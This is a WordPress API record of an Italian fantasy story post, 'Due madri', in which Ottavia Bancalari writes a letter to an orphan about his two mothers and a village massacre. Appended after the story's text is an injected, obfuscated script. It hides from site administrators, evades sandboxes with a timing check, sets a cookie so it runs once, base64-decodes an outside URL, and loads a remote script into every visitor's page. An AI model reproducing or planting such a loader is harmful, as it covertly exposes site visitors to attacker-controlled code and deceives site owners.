{"id":4039,"date":"2025-06-05T19:04:22","date_gmt":"2025-06-05T17:04:22","guid":{"rendered":"https:\/\/www.terredegliangeli.com\/calamai\/?p=4039"},"modified":"2025-10-21T04:05:52","modified_gmt":"2025-10-21T02:05:52","slug":"due-madri","status":"publish","type":"post","link":"https:\/\/www.terredegliangeli.com\/calamai\/due-madri\/","title":{"rendered":"Due madri"},"content":{"rendered":"\n<div class=\"wp-block-cover\"><img loading=\"lazy\" decoding=\"async\" width=\"225\" height=\"225\" class=\"wp-block-cover__image-background wp-image-4040\" alt=\"\" src=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/06\/Senza-titolo.jpeg\" data-object-fit=\"cover\" srcset=\"https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/06\/Senza-titolo.jpeg 225w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/06\/Senza-titolo-150x150.jpeg 150w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/06\/Senza-titolo-50x50.jpeg 50w, https:\/\/www.terredegliangeli.com\/calamai\/wp-content\/uploads\/2025\/06\/Senza-titolo-120x120.jpeg 120w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size wp-block-paragraph\"><\/p>\n<\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">&#8220;Elia,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">lo so, sicuramente non ti chiami cos\u00ec, ma tua madre, la tua <em>vera <\/em>madre, aveva scelto questo nome, prima di morire. Se lo sentiva che eri un maschio e suo nonno si chiamava cos\u00ec: un tizio burbero e silenzioso, il pezzo migliore della sua famiglia.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Spero che tu legga queste pagine dopo aver visto un buon numero di inverni o tutte le scurrilit\u00e0 che non riuscir\u00f2 a trattenere sarebbero decisamente inopportune: in caso contrario, sar\u00e0 comunque una gran bella lezione di vita.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ti chiederai perch\u00e9 una pazza sconosciuta, che ancora non si \u00e8 nemmeno presentata, probabilmente morta per quando leggerai queste pagine, possa aver sentito il bisogno di scriverti ad un certo punto della sua vita: semplicemente, avrei voluto che conoscessi le tue origini e Aldo dice che prima o poi ti trover\u00e0, anche se la sua morte potrebbe aver complicato tutto\u2026 Lasciamo stare, meglio andare per ordine o rischio di fotterti il cervello.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dunque, da dove comincio? Hai avuto due madri, ancor prima di venire al mondo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Amanita, la mia adorata Amanita, \u00e8 stata colei che ti ha tenuto in grembo per otto mesi, diciotto giorni e poche, strazianti, ore: era una donna fantastica, cazzo se non me la meritavo. Era radiosa, gioviale, altruista: tirava fuori il meglio delle persone, tirava fuori il meglio di me.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quando ha scoperto di essere incinta si \u00e8 innamorata all\u2019istante di te, mentre io non riuscivo nemmeno a sopportare l\u2019idea della tua esistenza: avevo le mie motivazioni stronzetto, e fidati, ti faccio un gran favore a non entrare nel dettaglio.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ad ogni modo, col passare dei mesi, Amanita \u00e8 riuscita a farmi vedere il lato incredibilmente meraviglioso della cosa: dalla pi\u00f9 atroce delle sue notti sarebbe nato un futuro altrimenti inimmaginabile per il nostro matrimonio.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ha parlato con te da quando sei entrato, a forza, nella sua vita: ti ha cantato tutti i sonetti che potevano giungere in quell\u2019angolo sperduto delle Piane, dove la vita, in modo brutale, era diventata piena. Ti ha letto cos\u00ec tanti libri mentre ti portava in grembo che sarai diventato sicuramente un cervellone: uno di quelli arguti e attenti ai dettagli, di quelli che fanno la differenza per gli altri. Quando \u00e8 morta, sono sicura, il suo unico pensiero eri tu: per questo credo tu sia riuscito a sopravvivere.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La tua seconda madre si chiamava Cristilde: era esattamente l\u2019opposto di Amanita eppure anche lei, a suo modo, era speciale. Ha commesso molti errori, imperdonabili per un\u2019anima arida come la mia: adesso per\u00f2 non hanno pi\u00f9 importanza, credo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cristilde ti ha salvato la vita, di fatto ti ha messo al mondo, quando Amanita \u00e8 morta, ironia della sorte, per causa sua: se non fosse stato per lei, saresti diventato una barcuccina di cenere, esattamente come la tua vera madre. Non so cosa le sia passato per la testa ma se c\u2019\u00e8 qualcosa che poteva far riposare in pace Amanita era proprio il pensiero che il suo bambino fosse riuscito a sopravvivere, alla fine, a tutta la spirale di odio e violenza che lo aveva segnato fin dal concepimento. Ti ha avvolto quindi in un fagotto e ti ha portato via da Querciarossa mentre ancora il fumo s\u2019innalzava impietoso dalle case di tutti i suoi abitanti: era un villaggio modesto, lontano dai clamori della Ribellione, eppure fu teatro di uno dei massacri pi\u00f9 cruenti del crepuscolo dell\u2019Impero. Non mi stupisce che tu possa non averne menzione, pur vivendo, magari, non troppo lontano da l\u00ec.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dicevamo, Cristilde ti ha fatto nascere quando il cadavere di tua madre era ancora fresco; e che fossi un bastardo fortunato lo si poteva intendere dal fatto che tu ti sia imbattuto proprio nella migliore cerusica che io abbia mai conosciuto. Poi ha fatto la cosa pi\u00f9 altruista che solo una donna senza figli pu\u00f2 immaginare: ha capito che non era la persona giusta per te e ha cercato qualcuno di acconcio al quale affidarti. Ti ha chiuso fuori dalle nostre vite, facendo perdere le sue tracce, tanto era il desiderio di non danneggiarti mai.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Neanch&#8217;io ho mai avuto figli: per questo, devo dirti la verit\u00e0, sulle prime non mi ha sconvolto pi\u00f9 di tanto il fatto che alla fine fossi sopravvissuto. Quando Amanita \u00e8 morta, in tutta onest\u00e0, eri l\u2019ultimo dei miei pensieri: quando \u00e8 venuto fuori tutto il resto della verit\u00e0, invece, ero troppo impegnata a cercare di uccidere la tua seconda madre per capire cosa significasse davvero la tua sopravvivenza per me.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u2019\u00e8\u2026 c\u2019\u00e8 un\u2019ultima persona della quale ti vorrei scrivere: \u00e8 scomparsa un po&#8217; di tempo fa, e con lei quasi tutti coloro che la conoscevano intimamente.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Se n\u2019\u00e8 andata pochi anni prima della fine dell\u2019Impero: forse avrebbe apprezzato il Regno, magari si sarebbe perfino decisa a prendere una posizione, a mettere al servizio di un bene maggiore quel modo pragmatico e genuino col quale sapeva farsi seguire, senza nemmeno chiederlo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Era un\u2019amante della musica, delle arti in genere, anche se le risultava impossibile ammetterlo, non le sembrava \u201cappropriato\u201d con quel fisico massiccio che si ritrovava: era ironica e divertente, talvolta burbera ma appassionata e fedele.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fra qualche luna vorrei provare ad andare a cercarla: magari, scavando sotto le macerie di Querciarossa, c\u2019\u00e8 ancora qualcosa di lei che potrebbe tornare alla luce.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Prima di partire per le Piane, per\u00f2, devo sistemare i miei <em>Ragazzi<\/em>: so che ti ho detto che non sono una madre, e infatti tecnicamente non lo sono\u2026 lasciamo stare, \u00e8 una storia complicata\u2026 che per\u00f2 mi piacerebbe raccontarti.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vorrei che sapessi ma, in tutta onest\u00e0, non so se ti mander\u00f2 questa missiva: un po&#8217; perch\u00e9 in pochi mi considerano un buon esempio, e, fossi in te, tenderei a diffidare di costoro.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E poi perch\u00e9 la mia speranza \u00e8 che tu sia gi\u00e0 stato amato a sufficienza da quegli sconosciuti che ti hanno accolto in fasce: che l\u2019amore che non sai di aver avuto, dalle tue madri, da me, dai miei Ragazzi del Crepuscolo, ti sia comunque arrivato in qualche modo\u2026 Magari attraverso il sorriso di uno sconosciuto o la carezza di un raggio di sole dopo un temporale estivo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Oh, fanculo! Se c&#8217;\u00e8 una cosa che in questi anni ho imparato \u00e8 l\u2019importanza del libero arbitrio: tutte le strade peggiori le ho imboccate quando qualcun altro ha scelto per me, quando ho dovuto in qualche modo trovare il mio posto nella prevaricazione, nella violenza o nel dolore altrui.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E allora spero davvero che Aldo ti trovi e che i tuoi genitori ti lascino conoscere questo lato della tua storia, di te.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quando leggerai questa missiva, dunque, sar\u00f2 tornata a Querciarossa da un po\u2019, o almeno lo spero: cos\u00ec come spero di non essere sola. Forse ho incontrato qualcuno folle abbastanza da potermi restare accanto senza sentirsi in dovere di salvarmi.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sei stato fortunato, Elia, o come cazzo ti chiami, nonostante le tue molte sventure, cos\u00ec come, alla fine, lo sono stata anche io, sia nel sentirti crescere nel suo ventre che nel saperti sano ma soprattutto lontano da me nel periodo peggiore della mia vita.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma quando mi conoscerai, se vorrai, troverai una persona diversa, degna delle madri che mi hanno preceduta: questo sar\u00e0 il mio impegno negli anni che ci separeranno dal nostro incontro. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E quindi ti aspetter\u00f2, tutto il tempo che occorre, in un paesino semi-raso al suolo, dove solo una casa aveva davvero importanza.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mi chiamo Ottavia Bancalari: cercami, ragazzo.\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Leone richiuse il plico, arrivato alla fine: le poggi\u00f2 una mano sulla spalla e strinse forte, per attirare la sua attenzione.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cAdesso \u00e8 a posto. Tu per\u00f2 hai capito che\u2026\u201d&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cSi\u201d lo interruppe subito, non era dell\u2019umore di ascoltare quel discorso \u201cin caso trover\u00e0 due belle lapidi: tu pensa solo ai fiori\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>&#8220;Elia, lo so, sicuramente non ti chiami cos\u00ec, ma tua madre, la tua vera madre, aveva scelto questo nome, prima di morire. Se lo sentiva che eri un maschio e suo nonno si chiamava cos\u00ec: un tizio burbero e silenzioso, il pezzo migliore della sua<\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"template-fullwidth.php","format":"standard","meta":{"footnotes":""},"categories":[103],"tags":[],"class_list":["post-4039","post","type-post","status-publish","format-standard","hentry","category-la-scacchiera"],"_links":{"self":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4039","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/comments?post=4039"}],"version-history":[{"count":4,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4039\/revisions"}],"predecessor-version":[{"id":4187,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/posts\/4039\/revisions\/4187"}],"wp:attachment":[{"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/media?parent=4039"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/categories?post=4039"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.terredegliangeli.com\/calamai\/wp-json\/wp\/v2\/tags?post=4039"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}